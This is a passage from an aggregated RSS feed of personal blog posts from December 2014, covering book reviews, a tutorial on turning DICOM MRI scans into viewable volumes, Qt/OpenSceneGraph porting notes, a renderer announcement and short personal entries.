&lt;figure style="float: left;"&gt;
&lt;img src="https://upload.wikimedia.org/wikipedia/en/6/6a/Ann_Leckie_-_Ancillary_Justice.jpeg" width="150px" /&gt;
&lt;/figure&gt;
I have been reading a lot of science fiction in the last few years. These books are part one and two of the best space opera I have ever read. The story is written from the perspective of an AI, sometimes inhabiting a lot of bodies, sometimes only one. Interestingly, this makes for a very introspective viewpoint, where politics and actions are expressed as consequences of nuanced human behavior and astute observation, as opposed to arbitrary human decisions. This perspective is extremely compelling, and makes for an extremely _human_ story in a world that is a clever amalgamation of ancient Roman society and post-modern egalitarianism. There is no book I look forward to more fiercely than the conclusion of this series.

&lt;h2&gt;&lt;a href="https://en.wikipedia.org/wiki/Scott_Pilgrim"&gt;Scott Pilgrim&lt;/a&gt;, by Bryan Lee O'Malley&lt;/h2&gt;
&lt;figure style="float: left;"&gt;
&lt;img src="https://upload.wikimedia.org/wikipedia/en/3/39/ScottPilgrim.jpg" width="150px" /&gt;
&lt;/figure&gt;
Scott Pilgrim is a twenty-something in the nineties. Scott Pilgrim doesn't have a job, and likes to play video games. Scott Pilgrim is fighting epic Anime battles against his girlfriends' exes. Scott Pilgrim is everyone, living in the real world. Scott Pilgrim is awesome, especially the new color-versions. The last part of the series will be released next year, and I really can't wait! (There's also a movie that is supposedly very good, but I won't watch it until I read all the comic books).

&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a href="http://www.amazon.de/Doomsday-Book-Connie-Willis/dp/0553562738/ref=sr_1_sc_2?ie=UTF8&amp;amp;qid=1419948450&amp;amp;sr=8-2-spell&amp;amp;keywords=doomsday+boo"&gt;Doomsday Book&lt;/a&gt;, by Connie Willis&lt;/h2&gt;
&lt;figure style="float: left;"&gt;
&lt;img src="https://upload.wikimedia.org/wikipedia/en/1/19/DoomsdayBook%281stEd%29.jpg" width="150px" /&gt;
&lt;/figure&gt;
This is about time travel from near-future Britain to the fifteenth century. But then, an epidemic breaks loose: Britain is in quarantine and civil order starts breaking. At the same time in the fifteenth century, the plague hits. Disease, and the people trying to deal with it, is a human tragedy beyond belief. Connie Willis manages to write about these things with empathy, and astounding humane love and humor. This story moved me more deeply than I care to acknowledge.

&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;</description><author>bastibe.de</author><pubDate>Tue, 30 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2014-12-30-books-of-2014.html</guid></item><item><title>2014 in review</title><link>https://jasoneckert.github.io/myblog/2014-in-review/</link><description>&lt;p&gt;&lt;img alt="Pepper" src="pepper.jpg#right" title="Pepper" /&gt;&lt;/p&gt;
&lt;p&gt;I think it’s always a good idea each year to reflect on the events that happened during the year - it’s a great way to remember some of the great things that have happened, as well as put some of the not-so-great things that have happened in perspective. If you regularly post to social media (e.g. Facebook or Twitter), looking back on your posts are a great way to revisit the major events that took place during the year. Better yet, by summarizing them in a blog post (as I’m doing here), you’ll preserve those events for posterity and make it easy to revisit them in distant years too!&lt;/p&gt;</description><author>Jason Eckert's Website and Blog</author><pubDate>Tue, 30 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://jasoneckert.github.io/myblog/2014-in-review/</guid></item><item><title>Volume rendering for DICOM images</title><link>https://bastian.rieck.me/blog/2014/dicom_utilities/</link><description>&lt;p&gt;I always wanted to look inside my own head. During the last few years, I was given the
opportunity to do so. On several occasions, doctors took some &lt;a href="https://en.wikipedia.org/wiki/Magnetic_resonance_imaging"&gt;&amp;ldquo;MRI&amp;rdquo;&lt;/a&gt; images of my head (there is nothing wrong with my
head—this was the standard operating procedure in some situations). Some time later,
they also took &lt;a href="https://en.wikipedia.org/wiki/Magnetic_resonance_angiography"&gt;&amp;ldquo;MRA&amp;rdquo;&lt;/a&gt; images, meaning
that I got to see my grey matter &lt;em&gt;and&lt;/em&gt; my blood vessels. Even better, the doctors were only happy to provide
me with the raw data from their examinations. A true treasure for a visualization
scientists, as both MRI and MRA result in &lt;a href="https://en.wikipedia.org/wiki/Voxel"&gt;&amp;ldquo;Voxel data&amp;rdquo;&lt;/a&gt; that may
be visualized by &lt;a href="https://en.wikipedia.org/wiki/Volume_rendering"&gt;&amp;ldquo;volume rendering techniques&amp;rdquo;&lt;/a&gt;. In
mathematical terms, I wanted to visualize a 3-dimensional scalar field in a cubical
volume. In Hollywood terms, I wanted a program to zoom into my brain and take a look at my
blood vessels.&lt;/p&gt;
&lt;p&gt;This post describes how I went from a stack of DICOM images to a set of raw volume data
sets that can be visualized with &lt;a href="http://www.paraview.org"&gt;ParaView&lt;/a&gt;, for example.&lt;/p&gt;
&lt;h1 id="the-setup"&gt;The setup&lt;/h1&gt;
&lt;p&gt;The German healthcare system being what it is, I quickly received a bunch of DVDs with my
images. The DVDs contained some sort of Java-based viewer application, developed by &lt;a href="http://www.chili-radiology.com/en"&gt;CHILI
GmbH&lt;/a&gt;. Unfortunately, medical laypersons such as myself
are probably not the targeted user group for this software—I thus decided that it
would be easier to rely on other tools for visualizing my head. A quick investigation
showed that the data are ordered in a hiearchy such as &lt;code&gt;DATA/PAT/STUD??/SER??/IMG???&lt;/code&gt;. The
&lt;code&gt;STUD&lt;/code&gt; part refers to the examination that was performed, e.g. an MRI of a certain part of
the head. Each &lt;code&gt;SER&lt;/code&gt; part contains up to (in my case) 33 different directories with the
results of a single series of the MRI/MRA. Each subdirectory consists of lots of single
images in &lt;a href="https://en.wikipedia.org/wiki/DICOM"&gt;&amp;ldquo;DICOM format&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;DICOM describes a standard for exchanging information in medical imaging. It is rather complicated,
though, so I used the &lt;a href="http://imagej.nih.gov/ij"&gt;ImageJ image processing program&lt;/a&gt;, to verify that
each of the images describes a &lt;em&gt;slice&lt;/em&gt; of the MRI/MRA data. To obtain a complete &lt;em&gt;volume&lt;/em&gt; from these
image, I had to convert them into a single file. Luckily, some brave souls have spent a considerable
amount of time (and, I would expect, a sizeable amount of their sanity, as well) to write libraries
for parsing DICOM. One such library is &lt;a href="http://www.pydicom.org"&gt;pydicom&lt;/a&gt;, which permits reading and
(to a limited extent) writing DICOM files using Python. It is currently maintained by &lt;a href="https://github.com/darcymason"&gt;Darcy
Mason&lt;/a&gt;. Since pydicom&amp;rsquo;s documentation is rather raw at some places, I
also perused &lt;a href="http://dicomiseasy.blogspot.de/2012/08/chapter-12-pixel-data.html"&gt;Roni&amp;rsquo;s blog &amp;ldquo;DICOM is easy&amp;rdquo;&lt;/a&gt; to grasp the basics of
DICOM. It turned out that each of the DICOM files contains a single entry with raw pixel data.
Since all images of a given series &lt;em&gt;should&lt;/em&gt; have the same dimensions, I figured that it would be
possible to obtain a complete volume by extracting the raw data of each image and concatenating
them. I wrote multiple Python scripts for doing these jobs.&lt;/p&gt;
&lt;h1 id="sample-data"&gt;Sample data&lt;/h1&gt;
&lt;p&gt;If you do not have any DICOM images at your disposal, I would recommend visiting &lt;a href="http://www.barre.nom.fr/medical/samples"&gt;the
homepage of Sébastien Barré&lt;/a&gt; and download the
&lt;code&gt;CT-MON2-16-brain&lt;/code&gt; file, for example. I would very much like to include some sample files
in the repository of the scripts, but I am not sure how these samples are licenced, so I
prefer linking to them.&lt;/p&gt;
&lt;h1 id="dicomdumppy"&gt;dicomdump.py&lt;/h1&gt;
&lt;p&gt;This script extracts the &amp;ldquo;pixel data&amp;rdquo; segment of a DICOM file while writing some
information to &lt;code&gt;STDERR&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./dicomdump.py CT-MONO2-16-brain &amp;gt; CT-MONO2-16-brain.raw
##############
# Pixel data #
##############

Width:                      512
Height:                     512
Samples:                    1
Bits:                       16
Photometric interpretation: MONOCHROME2
Unsigned:                   0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You should now be able to read &lt;code&gt;CT-MONO2-16-brain.raw&lt;/code&gt; using ImageJ, for example.&lt;/p&gt;
&lt;h1 id="dicomcatpy"&gt;dicomcat.py&lt;/h1&gt;
&lt;p&gt;This script concatenates multiple images from a series of DICOM files to form a volume.
Assuming you have files with a prefix of &lt;code&gt;IMG&lt;/code&gt; in the current directory, you could do the
following:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./dicomcat.py IMG* &amp;gt; IMG.raw
[ 20.00%] Processing 'IMG001'...                                  
[ 40.00%] Processing 'IMG002'...
[ 60.00%] Processing 'IMG003'...
[ 80.00%] Processing 'IMG004'...
[100.00%] Processing 'IMG005'...
Finished writing data to '&amp;lt;stdout&amp;gt;'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using the optional &lt;code&gt;--prefix&lt;/code&gt; parameter, you can also create an output file automatically:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./dicomcat.py --prefix IMG Data/2011/STUD02/SER01/IMG00* 
[ 20.00%] Processing 'IMG001'...
[ 40.00%] Processing 'IMG002'...
[ 60.00%] Processing 'IMG003'...
[ 80.00%] Processing 'IMG004'...
[100.00%] Processing 'IMG005'...
Finished writing data to 'IMG_320x320x5_16u'
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The file names generated by the script follow the same pattern. The first three numbers
indicate the dimensions of the volume, i.e. &lt;em&gt;width&lt;/em&gt;, &lt;em&gt;height&lt;/em&gt;, and &lt;em&gt;depth&lt;/em&gt;. The last
digits indicate the number of bits required to read the image  and
whether the data are &lt;em&gt;signed&lt;/em&gt; (indicated by &lt;em&gt;s&lt;/em&gt;) or &lt;em&gt;unsigned&lt;/em&gt; (indicated by &lt;em&gt;u&lt;/em&gt;). The
example file is thus a volume of width 320, height 320, and depth 5, requiring 16 bit
unsigned integers for further processing.&lt;/p&gt;
&lt;h1 id="recursive_conversionpy"&gt;recursive_conversion.py&lt;/h1&gt;
&lt;p&gt;This script converts the aforementioned directory hierarchy. Just point it towards a root
directory that contains subdirectories with series of images and it will automatically
create raw images. For example, assuming that you have folders &lt;code&gt;SER1&lt;/code&gt;, &lt;code&gt;SER2&lt;/code&gt;, and &lt;code&gt;SER3&lt;/code&gt;
in the folder &lt;code&gt;STUD&lt;/code&gt;. To concatenate &lt;em&gt;all&lt;/em&gt; images in &lt;em&gt;all&lt;/em&gt; of these folders automatically,
call the script as follows:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ ./recursive_conversion.py STUD
[ 20.00%] Processing 'IMG001'...
[ 40.00%] Processing 'IMG002'...
[ 60.00%] Processing 'IMG003'...
[ 80.00%] Processing 'IMG004'...
[100.00%] Processing 'IMG005'...
Finished writing data to 'SER1_320x320x20_16u'
[...]
Finished writing data to 'SER2_320x320x15_16u'
[...]
Finished writing data to 'SER3_512x512x10_16u'
&lt;/code&gt;&lt;/pre&gt;
&lt;h1 id="viewing-the-volume"&gt;Viewing the volume&lt;/h1&gt;
&lt;p&gt;The easiest option for viewing the volume is &lt;a href="http://www.paraview.org"&gt;ParaView&lt;/a&gt;. Open the file
using the &amp;ldquo;Raw (binary)&amp;rdquo; file type. In the &amp;ldquo;Properties&amp;rdquo; section of the data set, enter the correct
extents. A &lt;code&gt;352x512x88&lt;/code&gt; file, for example, has extents of &lt;code&gt;351x511x87&lt;/code&gt;, respectively. Choose
&amp;ldquo;Volume&amp;rdquo; in the &amp;ldquo;Representation&amp;rdquo; section and play with colour map until you see the structures you
want to see.&lt;/p&gt;
&lt;p&gt;This is what it looks like:&lt;/p&gt;
&lt;figure&gt;&lt;a href="https://bastian.rieck.me/images/blood_vessels_brain.png"&gt;&lt;img alt="Blood vessels" src="https://bastian.rieck.me/images/blood_vessels_brain.png" /&gt;&lt;/a&gt;&lt;figcaption&gt;
			&lt;p&gt;Blood vessels in my brain. If I were a neurologist, I could probably name them as well. Hazarding a guess, I would say that the prominent structure is probably the carotid artery.&lt;/p&gt;
		&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;h1 id="code"&gt;Code&lt;/h1&gt;
&lt;p&gt;The code is released under the &lt;a href="https://en.wikipedia.org/wiki/MIT_License"&gt;&amp;ldquo;MIT Licence&amp;rdquo;&lt;/a&gt;. You may
download the scripts &lt;a href="http://github.com/Pseudomanifold/DICOM"&gt;from their git repository&lt;/a&gt;.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Mon, 29 Dec 2014 18:39:40 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/dicom_utilities/</guid></item><item><title>Graceling (Graceling Realm, #1)</title><link>https://apurva-shukla.me/bookshelf/graceling/</link><description>⭐ ⭐ ⭐ ⭐ This book was fantastic.. The overall feel of the world the author wove together was excellent. However I think this was more of a…</description><author>Apurva Shukla's RSS Feed</author><pubDate>Mon, 29 Dec 2014 09:03:56 GMT</pubDate><guid isPermaLink="true">https://apurva-shukla.me/bookshelf/graceling/</guid></item><item><title>Microservices bookmarks</title><link>https://xenodium.com/microservices-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://datawire.io/creating-a-microservice-answer-these-10-questions-first/"&gt;Creating a Microservice? Answer these 10 Questions First&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://philcalcado.com/2015/09/08/how_we_ended_up_with_microservices.html"&gt;How we ended up with microservices&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://httpie.org/"&gt;HTTPie – command line HTTP client&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 29 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/microservices-bookmarks</guid></item><item><title>Gardening bookmarks</title><link>https://xenodium.com/gardening-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://mastergardeners.org/warm-cool-veg-charts"&gt;Recommended times to plant vegetables in Santa Clara County&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/IAmA/comments/gc9agk/were_the_selftaught_development_team_behind_the_1/"&gt;We're the self-taught development team behind the #1 gardening app.&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 29 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/gardening-bookmarks</guid></item><item><title>The Martian</title><link>https://olshansky.info/book/the_martian/</link><description>Olshansky's review of The Martian by Andy Weir</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 29 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/book/the_martian/</guid></item><item><title>The Craft of Code</title><link>https://benovermyer.com/blog/2014/12/the-craft-of-code/</link><description>&lt;p&gt;Writing code for a living is a lot like writing for a living, except that your primary audience will never see the words you write. Architects have their work on display for all to see. Writers can touch the souls of their readers directly with their prose. But coders build things that you will only see ephemerally, a distant and indistinct experience that you can only define as "working" or "buggy." That doesn't stop the code from being as much an extension of our personality as a writer's work is. All coders have a particular style to their programming. Some might chalk it up to "best practices" or "the way it should be," but really, it's character. No one will ever write the most efficient code, though we might strive for something akin to that. No one will write code without some hint of their personality creeping into it; be that perfectionism, minimalism, or perhaps a flair for the dramatic. Characters and narratives don't play so much a part in code as they do in other creative works, but other forms of art also exist primarily as an expression of the craftsman. Paintings are particularly evident of this. The next time you write an app, or even a simple script, take a moment to think about how you've written it. What does it say about you?&lt;/p&gt;</description><author>Ben Overmyer's Site</author><pubDate>Mon, 29 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://benovermyer.com/blog/2014/12/the-craft-of-code/</guid></item><item><title>Magic in the Moonlight</title><link>https://olshansky.info/movie/magic_in_the_moonlight/</link><description>Olshansky's review of Magic in the Moonlight</description><author>🦉 olshansky 🦁</author><pubDate>Mon, 29 Dec 2014 01:24:49 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/magic_in_the_moonlight/</guid></item><item><title>Making Qt and OpenSceneGraph play nice: An addendum</title><link>https://bastian.rieck.me/blog/2014/qt_and_openscenegraph_addendum/</link><description>&lt;p&gt;I have written a number of posts about Qt and OpenSceneGraph this year. Starting from &lt;a href="https://bastian.rieck.me/blog/2014/qt_and_openscenegraph/"&gt;how to
design a basic widget for OSG&lt;/a&gt;, I showed how to extend the
widget &lt;a href="https://bastian.rieck.me/blog/2014/selections_qt_osg/"&gt;to enable rectangular selections&lt;/a&gt;. In the last post so
far, I explained how to do some &lt;a href="https://bastian.rieck.me/blog/2014/simple_pick_handler_osg/"&gt;simple object picking&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In the process of receiving some feedback about these articles, I learned even more about
OpenSceneGraph. To ensure that the code and articles remain valid in the future, there are a couple
of remaining issues on which I want to expand briefly.&lt;/p&gt;
&lt;h1 id="porting-to-microsoft-windows"&gt;Porting to Microsoft Windows&lt;/h1&gt;
&lt;p&gt;I do not have much experience in developing for this platform. However, thanks to &lt;em&gt;Andrew
Cunningham&lt;/em&gt;, I now know that the program compiles &amp;amp; runs under Microsoft Windows if the selection
rectangle is not drawn. Apparently, &lt;code&gt;QPainter&lt;/code&gt; (which I use for drawing the selection rectangle)
uses &lt;a href="https://en.wikipedia.org/wiki/Graphics_Device_Interface"&gt;&amp;ldquo;GDI&amp;rdquo;&lt;/a&gt;, which does not mix well with OSG&amp;rsquo;s OpenGL
rendering.&lt;/p&gt;
&lt;p&gt;As a remedy, I made the selection rectangle (as well as the object picking) configurable. Just set
the variables &lt;code&gt;WITH_PICK_HANDLER&lt;/code&gt; and &lt;code&gt;WITH_SELECTION_PROCESSING&lt;/code&gt; accordingly using &lt;code&gt;ccmake&lt;/code&gt; in your
build directory. I hope that I may fix this properly one time.&lt;/p&gt;
&lt;h1 id="porting-to-os-x"&gt;Porting to OS X&lt;/h1&gt;
&lt;p&gt;Again, I have only limited experience with this platform. However, I can at least guarantee that the
program compiles and runs reasonable well. I had to install &lt;code&gt;Qt4&lt;/code&gt; using the excellent &lt;a href="http://brew.sh"&gt;Homebrew
package manager&lt;/a&gt; for OS X. OS X also handles graphics context switches differently
that Linux, which exposed another bug in the program—I had to use &lt;code&gt;makeCurrent()&lt;/code&gt; and
&lt;code&gt;doneCurrent()&lt;/code&gt; in the drawing routines to ensure that the OSG widget is allowed to use the graphics
context.&lt;/p&gt;
&lt;p&gt;There are still some glitches, though: The &lt;code&gt;QMdiArea&lt;/code&gt; widgets do not overlap correctly when being
moved. I strongly suspect that this is an issue with Qt and not with OSG (since OSG knows nothing
about the widget geometry). Furthermore, the widgets will not be rendered correctly all the time.
This seems to be caused by OS X switching between two graphics cards.&lt;/p&gt;
&lt;p&gt;Unfortunately, I don&amp;rsquo;t have any definite solutions for this. I will update the program, though, if I
find the root cause.&lt;/p&gt;
&lt;h1 id="using-qt-5"&gt;Using Qt 5&lt;/h1&gt;
&lt;p&gt;To end on a more positive note: The program is now using Qt 5 instead of Qt 4. &lt;em&gt;This&lt;/em&gt; at least was
rather easy to achieve and only involved some changes in the &lt;code&gt;CMakeLists.txt&lt;/code&gt; file. Note that I
incremented the minimum required version to 2.8.11 in order to ensure that Qt 5 is being integrated
correctly.&lt;/p&gt;
&lt;h1 id="code"&gt;Code&lt;/h1&gt;
&lt;p&gt;The code is available in a &lt;a href="http://github.com/Pseudomanifold/QtOSG"&gt;git repository&lt;/a&gt;. Please report any bugs or
issues.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Sun, 28 Dec 2014 17:16:06 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/qt_and_openscenegraph_addendum/</guid></item><item><title>Kippo findings round two</title><link>https://blog.erethon.com/blog/2014/12/28/kippo-findings-round-two/</link><description>&lt;p&gt;
It's been &lt;a href="http://blog.erethon.com/blog/2014/11/25/deploying-kippo-with-ansible/"&gt;over a month since I set up twelve Kippo hosts&lt;/a&gt; using my
&lt;a href="https://github.com/erethon/kippo-ansible"&gt;Ansible playbook&lt;/a&gt;, time to get some stats.&lt;/p&gt;</description><author>Erethon's Corner</author><pubDate>Sun, 28 Dec 2014 13:46:23 GMT</pubDate><guid isPermaLink="true">https://blog.erethon.com/blog/2014/12/28/kippo-findings-round-two/</guid></item><item><title>Takua Render Revision 5</title><link>https://blog.yiningkarlli.com/2014/12/takua-revision-5.html</link><description>&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Dec/xyzrgb_dragon.png"&gt;&lt;img alt="Rough blue metallic XYZRGB Dragon model in a Cornell Box, rendered entirely with Takua Render a0.5" src="https://blog.yiningkarlli.com/content/images/2014/Dec/xyzrgb_dragon.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I haven’t posted much at all this past year due, but I’ve been working on some stuff that I’m really excited about! For the past year and a half, I’ve been building a new, much more advanced version of Takua Render completely from scratch. In this post, I’ll give a brief introduction and runthrough of the new version of Takua, which I’ve numbered as Revision 5 or a0.5. Since I first started exploring the world of renderer construction a few years back, I’ve learned an immense amount about every part of building a renderer, ranging all the way from low level architecture all the way up to light transport and surface algorithms. I’ve also been fortunate and lucky enough to be able to meet and talk to a lot of people working on professional, industry quality renderers and people from some of the best rendering research groups in the world, and so this new version of my own renderer is an attempt at applying everything I’ve learned and building a base for even further future improvement and research projects.&lt;/p&gt;

&lt;p&gt;Very broadly, the two things I’m most proud of with Takua a0.5 are the internal renderer architecture and a lot of work on integrators and light transport. Takua a0.5’s internal architecture is heavily influenced by Disney’s &lt;a href="https://disney-animation.s3.amazonaws.com/uploads/production/publication_asset/70/asset/Sorted_Deferred_Shading_For_Production_Path_Tracing.pdf"&gt;Sorted Deferred Shading&lt;/a&gt; paper, the internal architecture of &lt;a href="http://graphics.cs.williams.edu/papers/OptiXSIGGRAPH10/Parker10OptiX.pdf"&gt;NVIDIA’s Optix engine&lt;/a&gt;, and the modular architecture of &lt;a href="https://www.mitsuba-renderer.org/"&gt;Mitsuba Render&lt;/a&gt;. In the light transport area, Takua a0.5 implements not just unidirectional pathtracing with direct light importance sampling (PT), but also correctly implements multiple importance sampled bidirectional pathtracing (BDPT), progressive photon mapping (PPM), and the relatively new &lt;a href="https://graphics.cg.uni-saarland.de/fileadmin/cguds/papers/2012/georgiev_sa2012/georgiev_sa2012.pdf"&gt;vertex connection and merging&lt;/a&gt; (VCM) algorithm. I’m planning on writing a series of posts in the next few weeks/months that will dive in depth into Takua a0.5’s various features.&lt;/p&gt;

&lt;p&gt;Takua a0.5 has also marked a pretty large shift in strategy in terms of targeted hardware. In previous versions of Takua, I did a lot of exploration with getting the entire renderer to run on CUDA-enabled GPUs. In the interest of increased architectural flexibility, Takua a0.5 does not have a 100% GPU mode anymore. Instead, Takua a0.5 is structured in such a way that certain individual modules can be accelerated by running on the GPU, but overall much of the core of the renderer is designed to make efficient use of the CPU to achieve high performance while bypassing a lot of the complexity of building a pure GPU renderer. Again, I’ll have a detailed post on this decision later down the line.&lt;/p&gt;

&lt;p&gt;Here is a list of the some of the major new things in Takua a0.5:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Completely modular plugin system
    &lt;ul&gt;
      &lt;li&gt;Programmable ray/shader queue/dispatch system&lt;/li&gt;
      &lt;li&gt;Natively bidirectional BSDF system&lt;/li&gt;
      &lt;li&gt;Multiple geometry backends optimized for different hardware&lt;/li&gt;
      &lt;li&gt;Plugin systems for cameras, lights, acceleration structures, geometry, viewers, materials, surface patterns, BSDFs, etc.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Task-based concurrency and parallelism via Intel’s TBB library&lt;/li&gt;
  &lt;li&gt;Mitsuba/PBRT/Renderman 19 RIS style integrator system
    &lt;ul&gt;
      &lt;li&gt;Unidirectional pathtracing with direct light importance sampling&lt;/li&gt;
      &lt;li&gt;Lighttracing with camera importance sampling&lt;/li&gt;
      &lt;li&gt;Bidirectional pathtracing with multiple importance sampling&lt;/li&gt;
      &lt;li&gt;Progressive photon mapping&lt;/li&gt;
      &lt;li&gt;Vertex connection and merging&lt;/li&gt;
      &lt;li&gt;All integrators designed to be re-entrant and capable of deferred operations&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;Native animation support
    &lt;ul&gt;
      &lt;li&gt;Renderer-wide keyframing/animation support&lt;/li&gt;
      &lt;li&gt;Transformational AND deformational motion blur&lt;/li&gt;
      &lt;li&gt;Motion blur support for all camera, material, surface pattern, light, etc. attributes&lt;/li&gt;
      &lt;li&gt;Animation/keyframe sequences can be instanced in addition to geometry instancing&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The blue metallic XYZRGB dragon image is a render that was produced using only Takua a0.5. Since I now have access to the original physical Cornell Box model, I thought it would be fun to use a 100% measurement-accurate model of the Cornell Box as a test scene while working on Takua a0.5. All of these renders have no post-processing whatsoever. Here are some other renders made as tests during development:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Dec/cornellbox.png"&gt;&lt;img alt="Vanilla Cornell Box with measurements taken directly off of the original physical Cornell Box model." src="https://blog.yiningkarlli.com/content/images/2014/Dec/cornellbox.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Dec/dragon.png"&gt;&lt;img alt="Glass Stanford Dragon producing some interesting caustics on the floor." src="https://blog.yiningkarlli.com/content/images/2014/Dec/dragon.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Dec/glassball.png"&gt;&lt;img alt="Floating glass ball as another caustics test." src="https://blog.yiningkarlli.com/content/images/2014/Dec/glassball.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Dec/mirrorcube.png"&gt;&lt;img alt="Mirror cube." src="https://blog.yiningkarlli.com/content/images/2014/Dec/mirrorcube.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Dec/animblur.png"&gt;&lt;img alt="Deformational motion blur test using a glass rectangular prism with the top half twisting over time." src="https://blog.yiningkarlli.com/content/images/2014/Dec/animblur.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://blog.yiningkarlli.com/content/images/2014/Dec/uvbox.png"&gt;&lt;img alt="A really ugly texture test that for some reason I kind of like." src="https://blog.yiningkarlli.com/content/images/2014/Dec/uvbox.png" /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;More interesting non-Cornell Box renders coming in later posts!&lt;/p&gt;

&lt;p&gt;Edit: Since making this post, I found a weighting bug that was causing a lot of energy to be lost in indirect diffuse bounces. I’ve since fixed the bug and updated this post with re-rendered versions of all of the images.&lt;/p&gt;</description><author>Code &amp;amp; Visuals</author><pubDate>Sun, 28 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.yiningkarlli.com/2014/12/takua-revision-5.html</guid></item><item><title>2014-12-28/01</title><link>https://ho.dges.online/pictures/2014-12-28-01/</link><description/><author>ho.dges.online</author><pubDate>Sun, 28 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-12-28-01/</guid></item><item><title>2014-12-28/02</title><link>https://ho.dges.online/pictures/2014-12-28-02/</link><description>&lt;p&gt;Although this looks like some sort of African sunrise, this was in fact taken on the outskirts of&amp;hellip; Kirkintilloch.&lt;/p&gt;</description><author>ho.dges.online</author><pubDate>Sun, 28 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/pictures/2014-12-28-02/</guid></item><item><title>Personality</title><link>https://liza.io/personality/</link><description>&lt;p&gt;Every morning I wake up to my cat Rigel wanting to play. He jumps around the bed and brings in his favorite toy ferret, purring and stepping on us until we either get up or put him outside. Then I get up and go to get a plastic bag from the kitchen before I do anything else. I go to Rigel&amp;rsquo;s jumbo sized litter box, followed by the cat who sits next to me and watches as I clean it. As soon as I&amp;rsquo;m done he steps inside and does his business. Meanwhile, I leave to wash my hands and start washing up/brushing my teeth in the bathroom. One or two minutes later Rigel turbos in, jumps full speed onto the toilet (I always have to be sure the lid is closed before this happens - there have been incidents) and then into the sink, sticking his head and paws into the water (which I make sure is lukewarm before he gets in). We take turns at the tap for about five minutes. I leave, he sometimes rests in the sink, and then the morning pooping and cleaning ritual is over.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 27 Dec 2014 11:58:56 GMT</pubDate><guid isPermaLink="true">https://liza.io/personality/</guid></item><item><title>March 2013 - December 2014 on TfL</title><link>https://rob.sh/post/208/</link><description>&lt;br /&gt;
&lt;p&gt;
Oyster usage data from TfL for my Oyster card, March 2013 - December 2014. Data visualisation is with D3.js - mouse-over a station to isolate journeys to and from that location. &lt;a href="https://cdn.rob.sh/files/oyster-vis/large-vis.html"&gt;Larger version&lt;/a&gt;.
&lt;/p&gt;</description><author>rob.sh</author><pubDate>Fri, 26 Dec 2014 13:48:13 GMT</pubDate><guid isPermaLink="true">https://rob.sh/post/208/</guid></item><item><title>Lissacurses - Lissajous curves on the console</title><link>https://bastian.rieck.me/blog/2014/lissacurses/</link><description>&lt;p&gt;While cleaning out my project directory, I stumbled over some rather
ancient code for generating &lt;a href="https://en.wikipedia.org/wiki/Lissajous_curve"&gt;&amp;ldquo;Lissajous curves&amp;rdquo;&lt;/a&gt; on the console. These were probably my first steps with the
